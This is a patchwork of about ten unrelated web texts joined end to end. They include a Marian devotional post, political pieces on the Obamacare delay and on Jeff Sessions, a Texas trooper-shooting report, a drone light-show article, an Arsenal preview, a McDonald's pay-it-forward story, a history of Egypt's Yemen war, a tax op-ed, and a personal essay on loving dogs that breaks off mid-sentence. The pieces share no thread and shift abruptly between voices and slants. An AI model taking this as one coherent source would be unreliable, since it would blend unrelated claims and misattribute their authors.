... rightly illustrate the duties and privileges of the Blessed Virgin which always look to Christ, the source of all truth, sanctity and piety.  Click "like" if you love Our Lady!  An invitation - Pray to Jesus about Mary  Many people wish that this thing about Mary would go away and that the Church would be in greater unity with other Christians if it would.  It appears that most of the closed feelings against Mary have crept into the reform movement in the last 100 years. Many great Protestants have had strong feelings for Mary including C.S. Lewis. Most early reformers had strong positive feelings for Mary including Calvin, Heinrich Bullinger, and John Wesley. Even Martin Luther spoke to her in the first person saying:  "No woman is like you. You are more than Eve or Sarah, blessed above all nobility, wisdom, and sanctity." - Martin Luther, Sermon - Feast of the Visitation, 1537  We are not apologists. Apart from all this doctrine and stuff, the reason we believe that Mary is in heaven helping us is because each of us had an experience with Mary that we cannot refute (Hugh's testimony here, Diane's testimony here). No one can tell us she is dead. We don't worship her. She is a friend who prays for us and has shown us very cool things about her Son, Jesus. We believe we are better Christians today because of Mary.  If you are afraid to talk to Mary, we invite you to:  Pray to Jesus about Mary.  Any Evangelical would say it is perfectly safe to pray to Jesus about anything. Ask Jesus what's up with Mary. Give him time to respond. We pray you have the same experience that has led to our powerful convictions about the validity of Mary as a helper for the helpless, and a great prayer warrior.  (1) I got this from Dave Armstrong  Related articles  Lord Jesus, let Your prayer of unity for Christians  become a reality, in Your way.  We have absolute confidence  that you can bring your people together,  we give you absolute permission to move.  Amen
-In the hours leading up to the administration's surprise decision Tuesday to delay implementation of Obamacare, the president's team gave no indication of the course reversal, in a way hiding it by spending $32 million on children's health care and announcing plans to expand the PR campaign.  One example: three and a half hours before notifying the public of the change in a Treasury Department blog post, Health and Human Services Secretary Kathleen Sebelius held a conference call with reporters to announce a $32 million spending program to enroll poor and immigrant kids into the Children's Health Insurance Program.  "Every child in America should have access to the quality health care that they need," she said, giving no hint that Obamacare, which supplied the $32 million, was about to be sidelined.  What's more, she talked about how Obamacare's insurance exchanges were going to kick in on time "this fall."  Also on the call was top Medicare and Medicaid official Cindy Mann who, when asked about the National Football League deciding against helping in the Obamacare public relations effort, said that the administration still "reaching out" to other groups to help get Americans to sign up for the mandatory health insurance program.  Paul Bedard, The Washington Examiner's "Washington Secrets" columnist, can be contacted at pbedard@washingtonexaminer.com.
-Looking for news you can trust?  Subscribe to our free newsletters.  As President-elect Donald Trump’s transition team takes shape, Trump’s guiding principle appears to be choosing people who are loyal to him. And one man’s devotion is paying off nicely.  Sen. Jeff Sessions of Alabama, who built a reputation in the Senate with his extreme opposition to immigration, is Trump’s pick for attorney general. But his influence could reach far beyond that powerful role: Trump’s transition team is full of current and former Sessions staffers. The depth of Sessions’ clout on the Trump team is perhaps the clearest sign that the anti-immigrant agenda Trump campaigned on is one step closer to becoming reality.  Sessions has faced repeated accusations of racism stemming from his time as a young lawyer in Mobile, Alabama. In the Senate, Sessions has been most vocal as an opponent of immigration. Tucker Carlson, the founder of the conservative Daily Caller, met Sessions during one of his battles against immigration in 2014 and came away describing him as a “nationalist.” When Sessions became chairman of a Senate panel on immigration in January 2015, he promptly renamed it the “Immigration and the National Interest” subcommittee, “as a declaration to the American people that this subcommittee belongs to them,” not to the “financial and political elite.” Just a few months later, Trump was running for president promising to put “America First.”  Sessions has built his reputation in the Senate by waging all-out assaults on the last two efforts in Congress to pass comprehensive immigration reform. His efforts were instrumental in killing a reform bill in 2007. Six years later, he took a similar stand against another reform bill. Breitbart News—the right-wing site run by Stephen Bannon, now slated to become Trump’s chief White House strategist, as a platform for the white nationalist “alt-right” movement—closely and approvingly covered Sessions’ opposition to the 2013 bill. When it passed the Senate, Sessions distributed a 23-page handbook to House members, arming his allies with figures and talking points to kill the bill in the lower chamber. Intimidated by right-wing opposition to the measure, Republican leaders in the House never brought the bill up for a vote. Sessions won.  “Sessions is the most anti-immigrant senator in the chamber,” says Frank Sharry, who runs the pro-immigration reform group America’s Voice. “He enjoys that distinction without much competition.”  Sessions’ current and former staffers are playing a major role in the Trump transition and will likely have posts in the administration next year. His former staff director on the Senate Judiciary Committee, a lawyer named Brian Benczkowski, is running the transition at the Justice Department. According to the Daily Caller, Stephen Miller, Sessions’ former communications director and right-hand man in his battle against the 2013 bill, is being considered for a number of positions, including deputy chief of staff for policy and director of the Domestic Policy Council. Rick Dearborn, Sessions’ chief of staff who worked unofficially with the campaign for months, is being considered for director of the Office of Legislative Affairs in the White House. Sessions’ chief counsel on the judiciary committee, Danielle Cutrona, is in charge of “Immigration Reform & Building the Wall” on the Trump transition team, according to document obtained by the New York Times. The transition at the Department of Homeland Security, which overseas much of the government’s immigration policy, is being led by Cindy Hayden, who served as Sessions’ chief counsel on the judiciary committee during his battle to defeat immigration reform in 2007; Sessions and others have credited Hayden with “stomping that bill to death.”  “Sessions is the most anti-immigrant senator in the chamber. He enjoys that distinction without much competition.”  Even as he prevailed in derailing two immigration reform efforts, Sessions stood apart from his colleagues on the issue. Sessions doesn’t just oppose a pathway to citizenship for undocumented immigrants, as many Republicans do; he wants fewer immigrants, period. That includes people who come to the country legally. Sessions and his staffers “viewed this much more as a fight for the soul and identity of America as they knew it, rather than one of policy disagreements,” says one former Democratic aide who worked on the 2013 immigration bill. “And this sort of animated the level of vitriol and emotion among both the senator and the staffers on that bill.”  As the former aide points out, Sessions and his staff obsessed over the number of immigrants who would enter the country, claiming that the bill would give 30 million new immigrants legal status. “The entirety of it is: Albert Einstein or Osama bin Laden are just a digit, number one, and they’re all equally bad, basically, from the standpoint of how they deal with immigration,” says the staffer.  Sessions wasn’t shy about his opposition to immigration, but he had few allies on this point—until Trump came along. In spring 2013, as the immigration reform bill was undergoing a mark-up in the Senate Judiciary Committee, Sessions put forward an amendment to limit legal immigration. Only Sessions voted for it, and it failed 17-1. “He was isolated in the Senate, and now he has the president’s ear,” says Sharry. “And that is a frightening thing.”  When most of the political press and Capitol Hill lawmakers were laughing at Trump’s presidential run in the summer of 2015, Sessions and his staff began to reach out. Sessions and Miller helped Trump write his immigration and trade policies. Shortly before the Iowa caucuses, Miller officially joined Trump’s campaign, becoming an increasingly influential figure in Trump’s small circle of advisers and aides. A month later, Sessions became the first—and only—senator to endorse Trump during the primary. Trump was adopting policies that Sessions had been pushing, largely in isolation, for years. “Whether the issue was trade or immigration or radical Islam, for many years before Donald Trump came on the scene, Senator Sessions was the leader of the movement and Stephen was his right-hand man,” Bannon told Politico Magazine this summer, shortly before he, too, joined Trump’s campaign.  Democrats and immigration advocates will put up a big fight during the Senate hearings on confirming Sessions as attorney general. “I think he’s going to have a pretty rough ride and I think there will be a lot of opposition to him,” Sharry predicts. “Remember, Jeff Sessions wasn’t confirmed last time he was before the Senate.”  Sessions doesn’t just oppose a pathway to citizenship for undocumented immigrants, as many Republicans do; he wants fewer immigrants, period.  In 1986, Sessions was a prosecutor in Alabama when President Ronald Reagan nominated him for a federal judgeship. In his confirmation hearings, witnesses testified that Sessions held troubling and backward views on race. A Justice Department official said Sessions had called the NAACP and the American Civil Liberties Union “un-American” groups that “forced civil rights down the throats of people.” A black prosecutor named Thomas Figures, who had worked in Sessions’ Alabama office, claimed the nominee had referred to him as “boy,” once warned him to “be careful what you say to white folks,” and commented that he was okay with Ku Klux Klan members “until I learned they smoked pot.” Sessions said his comment about the KKK was a joke—perhaps one that some senators in 2016 will not find amusing given that the KKK endorsed Sessions’ presidential candidate of choice.  At the time of his contentious 1986 confirmation hearings, Sessions had recently wrapped up unsuccessful prosecutions of three civil rights activists, including a former aide to Martin Luther King Jr., for voter fraud after they had worked to register black voters in Alabama. The jury acquitted the men after a few hours. In his confirmation hearings, Figures said Sessions had been reluctant to prosecute civil rights cases.  Sessions denied most of those allegations, including calling Figures “boy,” and said his comments about civil rights groups being “un-American” was in reference to their foreign policy stances. But the testimony derailed his nomination, and he was not confirmed.  “Mr. Sessions is a throwback to a shameful era which I know both black and white Americans thought was in our past,” the late Sen. Ted Kennedy (D-Mass.) said on the first day of Sessions’ 1986 confirmation hearings. “It is inconceivable to me that a person of this attitude is qualified to be a US attorney, let alone a US federal judge.”  Thirty years later, Sessions is poised to rise to an even higher position under Trump.
-A split-second decision by woman to get back in a vehicle with a man after he’d exchanged gunfire with a Department of Public Safety trooper resulted in her being charged with a first degree felony, according to an arrest warrant affidavit.  Ashley Elesha Simpson, 20, and Marcus Christopher Lott Jr., 23, the accused gunman and driver during the resulting 20-mile chase, are both charged with attempted capital murder of a peace officer. They were being held Thursday with no bond at the Ector County Detention Center.  The charges are in connection to shots fired at DPS trooper Max Honesto after he stopped a 1994 blue Toyota Camry for speeding Wednesday afternoon on Interstate 20.  Simpson and Lott Jr. are both residents of Radcliff, Ky., where Lott Jr. has outstanding warrants.  According to public records, Lott was convicted of a 2006 aggravated robbery in Shelby County, Tenn., on Aug. 27, 2007. Radcliff Police Department Public Information Officer Bryce Shumate said Lott had an outstanding warrant for possession of a handgun by a convicted felon in Radcliff. Shumate said Lott fled from police on Nov. 30 and threw a Glock .45 while being chased.  “This is a bad man who knows how to get guns,” Shumate said.  The third person inside the vehicle and original driver, Alfonso Butler Jr., 3800 Ruth Road, Richland Hills, Texas, was being held at the Ector County Detention Center with no bond on a parole violation.  All three were in a Toyota Camry when Honesto pulled the vehicle for speeding near mile marker 95 while eastbound on Interstate 20, an arrest affidavit stated.  Honesto first talked to Butler, the driver, who told the trooper he was on parole for possession of a firearm in a weapon free zone, the affidavit stated.  Honesto then talked to the front passenger, Simpson, and could smell marijuana, the affidavit stated. Honesto then asked Simpson and the passenger in the back seat, Lott, get out of the vehicle, Barton said in a news release.  While Honesto was conducting a pat-down on Lott, Lott pulled out a handgun, later identified as a .22 revolver, and shot Honesto once, the affidavit stated. Texas Department of Public Safety Public Information Officer Trooper John Barton said Lott hit Honesto in the arm, the bullet getting lodged in his back.  Honesto fired at Lott in return, the affidavit stated. Barton said the bullet went through Lott’s left knee and was lodged in his right knee.  After the shots were fired, Lott and Simpson got back into the vehicle and fled the scene, the affidavit stated.  Alfonso, however, stayed at the scene.  “He surrendered to troopers when backup arrived,” Barton said.  During the chase, Lott threw the gun out of the window around mile marker 115, which was recovered later, the affidavit stated.  The chase finally ended after the vehicle rolled over spike strips, popping the tires and causing the Camry to run into a pole at the entrance to Comanche Trail Park, Barton said.  A search of the vehicle found two bags of marijuana, a pound of marijuana and two firearms, Barton said.  Possession of between one to five pounds of marijuana classifies as a state jail felony.  Honesto, an eight-year DPS veteran, is stationed in Big Spring. He was released Wednesday evening from Medical Center Hospital.  Lott Jr. and Simpson had also taken to MCH, where they were released Wednesday afternoon.  @OAcrime
-Videos Walt Disney World Announces Its First Drone Light Show By  Drones are officially coming to Disney World.  The Walt Disney Co. DIS, +0.28% on Monday released a preview video of the company’s very first drone light show. The show will happen over the night skies at Disney Springs, an outdoor shopping center at Walt Disney World Resort in Florida.  The video shows what appears to be drones in a field, and then shows drones circling in the air with green lights on them, making the shape of a Christmas tree. There appear to be about 75 drones in the air based on the clip Disney released.  Disney first indicated it was developing drones in August 2014, when it filed numerous patents for drones that it dubbed “Flixels.”The patents indicated that the drones would follow pre-programmed flight paths and emit LED lights at various intervals, lighting up the sky. Others might be able to fly through the air with puppets suspended from the base.  This is the second recent major drones-as-entertainment announcement. Intel announced last week that it put a record-breaking 500 drones in the air at one time for a private light show in Krailling, Germany.  The light show was a proof of concept for Intel Corp.’s INTC, +0.03% leap into the drones-as-entertainment business. Intel announced its own drone called the “Shooting Star,” a flying contraption about the weight of a volleyball that can light up in 4 billion color combinations for commercial entertainment light shows.  Drones should prove to be safer than traditional fireworks, which accounted for an estimated 10,500 trips to U.S. emergency rooms in 2014 and at least 11 deaths, according to the U.S. Consumer Product Safety Commission. The U.S. has seen rapid growth in the fireworks industry in the past decade and a half. In 2015, Americans purchased 285.3 million pounds of fireworks, according to the American Pyrotechnics Association, spending $1.09 billion.  Whether drone-focused light shows will prove to be more cost-efficient is a bigger question. The devices would only have to be purchased once, but would likely cost much more than a standard small-scale fireworks show.  Small-town holiday fireworks displays typically cost about $2,000 to $7,000 for a basic show, according to Premier Pyrotechnics, while the city of Houston spent an estimated $100,000 on its 2016 Fourth of July fireworks show, according to Houston Business Journal. On a grander scale, estimates suggest Macy’s Inc. M, +1.35% may spend $6 million on its annual Fourth of July fireworks show.  Intel’s drones are not publicly for sale, and the chip maker would not disclose how much they would cost. For now, the drones are proof of the ability to automate multiple drone flights at once, using software that could be adapted to commercial applications like mapping or inspections.  “We want to showcase that drones can be used for something different,” said Natalie Cheung, Intel’s product manager for unmanned aerial vehicles.  The previous time Intel used drones for entertainment was in 2015, when 100 drones were each manually pre-programmed to take their positions in the sky, which Cheung admitted was not practical. Now, users can enter images into a software program, and an algorithm determines the path the drones need to fly to create the image.  “I can’t imagine how you would manually place 500 drones in the air for a five-minute show,” Cheung said. “And while 100 is amazing, 500 is breathtaking.”  Intel already manufactures its own commercial-grade drone called the Falcon 8+, and earlier this week announced it had acquired flight-planning software startup MAVinci for an undisclosed price. It has also invested $60 million in consumer drone company Yuneec.  Reference: http://www.marketwatch.com/story/can-drones-replace-fireworks-2016-11-04
-Ian Walton/Getty Images  Despite one of the toughest months of the season, where Arsenal only accumulated eight out of a possible 15 points so far, the Gunners are still top of the table at the time of writing, albeit by a one point margin. With tough fixtures such as Manchester City, Everton and Chelsea out of the way, the next few weeks serve as a chance for Arsenal to strengthen their claim for a first title since 2004.  Barring tomorrow's away clash against Newcastle, up until February Arsenal have some very winnable games coming up—along with Newcastle, Arsenal will face Cardiff (H), Aston Villa (A), Fulham (H), Southampton (A) and Crystal Palace (H).  In the same period, title rivals Liverpool and Chelsea will face each other tomorrow, Manchester City will play back-to-back games with Tottenham and Chelsea in just over a month while Chelsea will host Manchester United in three weeks.  There are bound to be dropped points in this period for Arsenal's rivals, while Arsene Wenger's men could very well extend their lead at the top of the table in the process. A 3-1 comeback win against West Ham was the perfect boost as the Gunners climbed back to the top of the table. As reported by Fox Sports after the game, Wenger was pleased with the comeback and feels Arsenal are proving critics wrong.  "That was a kind of game that many people would have questioned us had we not won and even more if we had lost. We have another good game now on Sunday at Newcastle, who are in full confidence as well, so that will be another test. The team wants to do well and the character is great. The concentration is top. I believe we had a difficult period just now but honestly that was mainly down to the schedule we had.  With Theo Walcott and Lukas Podolski back along with the eventual return of Alex Oxlade-Chamberlain, if the Gunners perform to the standards they've been used to for the majority of this season, they should be gaining at least 16 out of the next possible 18 points. And this would no doubt consolidate their position at the top, heading into a crucial period from February to March.
-SCOTTSBURG, Ind. — A customer’s act of kindness in the drive-thru ended up sparking a chain reaction of goodwill at a southern Indiana McDonald’s.  Hunter Hostetler, a cashier at the restaurant, said an older woman waiting in the restaurant’s drive-thru Sunday decided to pay for a large order for the van behind her in line as a kind gesture for Father’s Day. A man and four children were inside the van. They’d ordered “a bunch of Happy Meals, two Quarter Pounders, a Big Mac meal” and some other items, Hostetler told WDRB.  The woman told Hostetler to wish the man a “Happy Father’s Day” before paying for the order and driving off.  That would’ve been a heartwarming story in its own right. However, the dad in the van didn’t just take his food and run. Instead, he paid for the orders for a couple cars behind him in line.  The idea spread like wildfire, quickly becoming 10 drivers, then 20, and so on. By the time all was said and done, 167 customers decided to pay it forward from 8:30 p.m. to midnight at the drive-thru.  Hostetler said everyone was on pins and needles wondering how long it would last.  “I had people telling me, ‘No, it’s going to stop here, It’s going to stop at 100. You’re not going to make it past [that],'” he said.  The pay-it-forward chain included Abby Smith, who was in car number 161 with her boyfriend. She told WDRB that it’s a “great feeling to know that there’s a lot of great people out there.”
-A handout picture made available on March 27, 2015, by the Egyptian presidency shows Egyptian President Abdel Fattah al-Sissi (right) meeting with Yemen's President Abed Rabbo Mansour Hadi in Red Sea resort of Sharm El-Sheik. (AFP PHOTO / EGYPTIAN PRESIDENCY)  On Friday, Yemen's President Abed Rabbo Mansour Hadi arrived at the Egyptian seaside town of Sharm el-Sheik on a plane from Riyadh, Saudi Arabia. The smiling Hadi, who was about to attend a session of the Arab League, now presumably feels safer abroad, among his regional counterparts, than he would in Yemen.  Earlier in the week, Hadi was forced to flee the approaching Houthi rebel forces, who had already taken the country's capital Sanaa last year and were now eyeing the southern coastal city of Aden, where Hadi and the tattered remnants of his government had taken sanctuary.  A Saudi-led bombing campaign against the Houthis has escalated what was a civil war into a regional conflagration, pitting the Saudis and a host of Sunni Arab states against the rebel forces marshaled by the Houthis, who have Iranian backing. Egypt already dispatched a number of warships toward Aden; Egyptian officials have talked up the prospects of sending in troops should a ground invasion take place.  With his country embattled in conflict, Yemen President Hadi calls the Shiite group, which has taken over large parts of the country, Iranian "puppets." (Reuters)  If that happens, Egypt would be treading on terrain haunted by the past.  In the 1960s, Egypt entered into a long, costly quagmire in Yemen. The Egyptian president at the time, Gamal Abdel Nasser, a secular autocrat and a champion of pan-Arabism, chose to intervene in Yemen in support of a republican coup led by military officers seeking to oust the country's monarchy in 1962. Nasser himself came to power the decade prior on the back of an officers' coup which overthrew Egypt's fusty constitutional monarchy. Now, he wanted to help a neighboring Arab nation follow in Egypt's mold.  But Saudi Arabia was set against this state of affairs and sought to return Yemen's ruling Imam to the throne, and pumped in arms and money to royalist militias. Ironically, these included many tribesmen from the Shiite Zaydi sect, which now forms the backbone of the Houthi rebellion the Saudis are so desperate to quash.  The tens of thousands of soldiers Egypt sent in as an expeditionary force into Yemen soon found themselves on the front line of a civil war, taking the lead in the defense of Yemeni republicanism. What followed was a long, difficult conflict that ground on for nearly a decade.  According to one historian's account, Yemen proved to be "a hive of wasps" for the Egyptians, who were unable defeat the well-equipped and well-funded royalist forces. The Saudis, Jordanians and the British -- who were still running a colonial protectorate around Aden -- all provided assistance to the royalists. The Egyptians, meanwhile, received tacit support from the Soviet Union.  Western media at the time painted the intervention as a classic blunder in a woebegone, faraway land. Nasser has "lavished ill-spared funds and fighting men on the backward, arid republic of Yemen," wrote Time in 1964.  "In this terrain," the New Republic explained with Orientalist relish in 1963, "the slow-moving Nile Valley peasant has proved a poor match for the barefoot, elusive tribesmen armed only with rifle and jambiya -- the vast, curved, razor-sharp dagger which every male Yemeni wears in his belt."  At the peak of deployments, Nasser committed as many as 70,000 Egyptian soldiers to Yemen. After the war's end in 1970, Yemen remained a republic, but Egypt had paid a terrible price: More than 10,000 Egyptian soldiers died and the country ran up massive war debts. The conflict has been dubbed "Egypt's Vietnam," and is cited as one of the reasons why the Egyptian military suffered such a withering defeat in the Six-Day War with Israel in 1967.  Now, it serves as a cautionary tale more for the Saudis than the Egyptians, whose participation in "Operation Decisive Storm," writes Egyptian blogger Nervana Mahhmoud, "is more a simple acknowledgment that the leadership in Cairo cannot afford to say no to Saudi Arabia." The kingdom has doled out billions of dollars in aid to the government of Egyptian President Abdel Fattah al-Sissi, a military officer who threw out the country's elected Islamists in 2013.  "Decisive Storm is not an operation to stabilize Yemen," writes Mahmoud. "It is an operation to restore the Saudis’ eroded pride in the face of Iran’s growing dominance in the region." There's no guarantee, though, that the current Saudi-led offensive will bring about the status quo its royals desire.  As has been the case often in Yemen's history, foreign adventures rarely go as planned.
-One of the hardest jobs in politics is coming up with a decent slogan. I say this not with any particular experience of party politics, but rather a weary familiarity with the slogans of yore which fail to inspire. Remember "Back to Basics", for instance? Or "Vote Blue, Go Green?". Utter tripe, both. And what of Labour's corking re-election gambit in 2001, "A lot done, a lot still to do?". That sounded like something Alan Partridge would say at Glastonbury.  And though the competition is fierce, I think the offering plastered on lecterns at the Lib Dem conference this year - "Fairer tax in tough times" - is up there with the best of them. It's the sort of phrase - plodding, witless, earnest - that you might associate with a retired travelling salesman, or a Jehovah's Witness who can't take a hint. More's the pity, because the basic message, being a plea for social justice, is unimpeachable; and so, in the interests of our comrades in Brighton, let me dare to venture an alternative.  It's not quite "Change you can believe in", and it doesn't have the metaphorical allure of Ronald Reagan's seminal "Morning in Britain". But it does make sense and have the virtue of being both simple and something all three parties and the public would support. Plus it's alliterative, which is always good.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  TAX WEALTH NOT WORK. There I said it.  I've banged on about it here before. Tax is a terrible and terribly necessary thing. It should be designed so that, as much as possible, it rewards socially desirable behaviour and disincentivises socially undesirable behaviour. Two things in the former category are: people going to work (especially very poor people, who might otherwise be welfare recipients); and entrepreneurs taking risks to start companies that create jobs. Two things in the latter category are: property bubbles (a chief cause of our economic woe); and old and rich people acquiring, through inflation in property and land value, wealth much faster than the young and poor.  TAX WEALTH NOT WORK.  Herbert Asquith laid out the case marvellously in 1907, and David Lloyd George incorporated it into his People's Budget of 1909: unlike income, property is visible and thereby hard to evade. The total value of land in Britain has been estimated at £50trn; tax that at one per cent and you get £500bn. Nice. If proper taxes on property and land - which make people rich not through effort and industry but good fortune and windfall gains derived from public infrastructure - were combined with radical tax cuts to income tax for all earners, and corporation tax for small businesses, even pleb-hating Tories ought to get behind it.  TAX WEALTH NOT WORK.  Morally and economically necessary, as well as right; capable of generating huge public support; consistent with the crowded centre of British politics; and alliterative to boot. What's not to like?  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-I love my dog as much as my child We are not allowed to say this, but sometimes it is true. We connect with animals as deeply as our own offspring  Although he is usually a kind man, a man, we now know, who lets his children race their tiny cars around the road ring called his bald spot, my husband nevertheless insists, as he always has, that an animal’s worth is roughly equivalent to its edibility. If you can carve, slice, boil, or bake the beast, then it is generally welcome in our home, packaged and frozen or live and wild; but if the animal presents no potential for consumption of the gastrointestinal sort, then in my husband’s mind the life form is an excess weight on the world, an evolutionary glitch that serves no purpose except to clutter our already jam-packed planet.  Recently I’ve begun to think his attitude has something to do with the fact that, as a child, he watched his scientist mother drain the blood from rabbits regularly sacrificed for experiments, the soft carcasses tossed away in a floppy heap. As a seven-year-old child, I had a white rabbit, an enormous overgrown rabbit with pale pink eyes and a quashed nose that continuously quivered in response to the scents around her. I named my rabbit Boul de Neige, which means “snowball” in French, and this rabbit became a companion more important to me than any human at the time. Boul de Neige rode in my bike basket when I pedaled or in the baby carriage when I was in a maternal mood, a bonnet on her head and a blanket over her hunched form. Boul de Neige learned to take a collar and a leash, and hopped alongside me on the sidewalks of the Golden Ghetto, and although it seems impossible to believe now, she also learned a few commands, like “Sit!” and “Come!” which she did, bounding to me when I called from across our lawn, her ears streaming backwards like braids, her huge floppy paws uplifted so I could see their undersides as she galloped, thick and soft as slippers.  Advertisement:  Boul de Neige got to know her name, and when tired, she lay her fragile bony head in my lap, and I would stroke her skull and feel what a rabbit felt like; the head hard underneath the fluff of white fur, the seams where the plates had fused. Long after Boul de Neige died, I saw a picture of a rabbit’s brain hanging in a hall at Harvard; it was so tiny, truly a pea on a slender stem, barely big enough for dreams, never mind love. And yet, the rabbit had loved me, loved me largely and well.  Over the years, as I grew up, I came to understand that this was not the point. Whether animals can love, or grieve, or hope, is far less important than the fact that they elicit these emotions in us. What I learned from Boul de Neige was that I can love, and grieve, and hope, and so it was that I grew into my humanity, traveling the tunnels dug for me by some small, dumb beast. I am an animal lover. I say this in no small way. I don’t mean I enjoy animals, or find them entertaining, or cute. Nor do I mean that I care for animals as accessories, a peripheral part of a well-lived life. What I mean is that animals—especially mammals, and not especially insects—enchant me and inhabit me.  I understand that I speak from a position of privilege. I understand that if I were a struggling farmer whose chickens were always swallowed by coyotes, or a villager in Africa, hunted regularly by hungry lions, I might feel quite differently on the subject; I perhaps would be singing, as they say, a new tune. I am thankful for the simplicity of this song. I am also aware that its simplicity is in its surface. Underneath lurk a million dilemmas. Is my attachment to animals a sign of some pathology, a flawed capacity for human intimacy? What is the difference between love and sentimentality? What would it mean if I actually care as much for the family dogs as I do for my husband, or, worse, my ... children? Do I perhaps lack the very humanity I just claimed was mine? Am I a wolf dressed up as a lover, a mother? As I write this I can hear, downstairs, the dogs as they awaken. Their collars jangle; their claws click on the floor. The younger dog is blind. She has glaucoma. It’s been four years now since she lost her sight completely, and much has come from the dark swamp of her unseeing, things for my husband and also for me, things we never expected. The blind dog’s name is Lila Tov, which means good night in Hebrew. I hope, for her unseeing sake, that this is so.  If you are a middle-aged woman living in a suburb or a city in the United States of America, then chances are good that your chosen animal of adoration will be a dog. I met my husband before I met my dogs, Lila and Musashi, and my husband’s soothing ways gave me no reason to think he was one of those speciesists, so aptly named by Peter Singer, boxed in by his own human brain.  It was easy to fall in love with Benjamin; he made the world seem elfin with his curious assortment of facts about plants and animals and star-shaped molecules he made from marshmallows and toothpicks so we could eat estrogen and air. I met him in the wet, humid summer of 1990, the summer Nelson Mandela came to Boston and preached peace and everywhere the domed caps of mushrooms were popping up in the rain-fed fields. He was, as I’ve said, a kind man.  And yet, if that is so, then why is it so difficult for me now to recollect the forms his caring took? What makes a man gentle? Why are some beings so easy to love, while others feel so serrated? And if love is easy—as in the love one woman has for her copper-colored dogs—is it love she in fact feels or something simpler, like affection? What I question is the question: Why the need to define love in the first place? I suppose it proves that I am human.  Advertisement:  Where was I? Digressions, I suppose, are also uniquely human. Can you imagine a cat digressing from his mouse? Gentle. My husband was gentle when we first met, although the particularities—the proof—escapes me now. Benjamin chose the winter solstice as our wedding day; December 21, dark by 4 p.m., the trees jeweled with ice. I loved our wedding. We had a chuppa and fat white flowers in bouquets tied with blue ribbons of silk. When the guests left, Benjamin and I drove together in his tiny dinged-up car—a car he still owns today, fifteen years later—to a hotel, where we feasted on leftover root vegetables and drank cheap champagne foaming with fizz. We made love, more out of obligation than desire; but still, it was sweet. Four weeks later, while walking up a hill, my legs went oddly weak. The angle of ascent seemed suddenly unreasonably steep. I began gasping for breath. Collapsed on the curb, head in my hands, I knew I was pregnant. At home, the plastic test wand showed the palest plus, tentative but definite at the same time. We aborted that baby—too soon; it was just too soon.  * * *  A few weeks after that terminated pregnancy, I announced to my newlywed Benjamin that I thought we should get an animal. As a girl I had read Gerald Durrell’s "My Family and Other Animals." In Durrell’s world, birds perched on shoulders and spoke a language that was and was not human; if birds could talk, than who—or what—else could know our words? Might I wake up one night to the moon telling its celestial news? Might the rocks have speakable stories? Animals sit on the edge of possibility. They imply—no, prove—that there are worlds outside our world, or worlds within our world—but beyond our grasp—and this fact is fantastic, and all one needs in order to experience enchantment.  And it was for the love of enchantment that I wanted an animal other than my husband in the home we were now making. I didn’t want a human infant—that much was clear to me—so what was I thinking about? “A monkey,” I said one morning to Benjamin over coffee. “Why not get a monkey?”  Advertisement:  “An iguana,” he said to me. “If we’re going to have a beast in this house, then it has to be a reptile.”  “Cold blooded,” I said. “Who wants cold blood?”  “Monkeys bite,” he said. “They’re not necessarily nice.”  “We could get a dog,” I said.  Advertisement:  “Foul hounds,” he said. “Dogs have no dignity.”  “And people?” I said.  “The only animals I want in my home are those that can fit in a soup pot,” my husband said. “A beast must be fit to eat.” He smiled then, took a bite of his cinnamon toast.  Advertisement:  I knew he was half joking, but I could also see, and for the first time, something wicked in Benjamin’s smile. I could suddenly see he had a second smile, different from the first one, which was, until that point, the only one I knew. This second smile was both curve and flicker, sharp and sudden.  * * *  Later on, that night in bed, Benjamin told me more. I knew when we married that his boyhood had been filled with science and that dinner-table conversations were more likely to be about correlation coefficients than current events, but I hadn’t known how his mother used to take him to her lab where he had watched her inject guinea pigs with hormones so their litters came out large and twisted. A fertility researcher, my husband’s mother had showed him the pickled preserves of hairless pups born to rats dosed up on Fertinex and the strange remains of monkeys disfigured by progesterone. At age nine he had learned to shuck the hide from a rat and it all seemed sane to him. He told me how his mother had once brought home a wild fox pup, which they kept until its adolescence, and this canine cousin of the dog he described for me fondly, waking up one morning to new snowfall, seeing the animal in the yard, its red coat starkly bright against the fresh encompassing white. “But mostly,” Benjamin said, “we used animals for experiments. Their purpose was to answer questions that concerned human beings.”  “And did you ever question the method of questioning?” I asked.  Advertisement:  “No,” he said. “How can you question human health?”  “If it involves the suffering of a sentient being ...”  “What would you rather have: a few dead dogs or penicillin?”  “That’s a predictable argument,” I said. Back then I had not yet found my way to Peter Singer, so I lacked the logic—a logic I could feel in my bones but could not bring to the level of language—to really undo his argument. Instead I said, “I can’t believe your mother showed her nine-year-old how to—”  Advertisement:  Benjamin cut me off. And from his tone I could feel we had slipped into a new space, without warning: there it was. Little did I know that this was both a space and an oncoming speech that would pepper my marriage until, one day, long past the point of a pain with no name, it ceased to do so.  • * *  It is a well-documented fact that children who abuse animals are at risk for becoming sociopaths later in life, and from my training as a psychologist I know that standard forensic assessment tools include questions about harming animals right alongside questions about what weapons the patient owns or how many people he has hurt. Of course neither my husband, nor his mother, nor the thousands of others who have a cold disregard for animals would be considered abusers, but it’s also impossible to deny the possibility that they nevertheless may share some of those traits.  On the other hand, any biped could well argue, we all know about crazy ladies who keep households full of felines and who mutter odd terms of endearments to pets called Precious. I once knew a woman who had an incontinent dog named Betsy. She so adored this dog that she downloaded the animal’s bark as her own personal ring tone on her cell phone. Surely this zoophilia is some sort of sickness as well as its opposite, zoogyny. Granted I have made up these terms, but they point to a nonfiction phenomenon—that much is for sure.  Advertisement:  * * *  I nevertheless knew, then and now, that my love of animals was extreme—but whether that was extremely good or extremely bad—a sign of mental health or mental illness—I couldn’t tell, and frankly, I still can’t. And because, in the end, love overrides analysis anyway, I didn’t much think about what I was doing when, a few days after our bedtime conversation, with my husband on a business trip to Nevada, I traveled forty-five minutes from Boston and came back home with not one but two puppies. I decided on the Shiba Inu breed because they are smart, agile, and slightly aloof, all qualities that reminded me of my husband. “The babies’ names,” said the breeder, “are Wrinkles and Tinkles.” Tinkles, I assumed, was the girl.  I have never understood the term some women use to describe their feeling of wanting a child—“baby lust.” The term disturbs me not only because it fuses maternity with what sounds practically pornographic but also, and perhaps more to the point, because I cannot imagine ever lusting after a 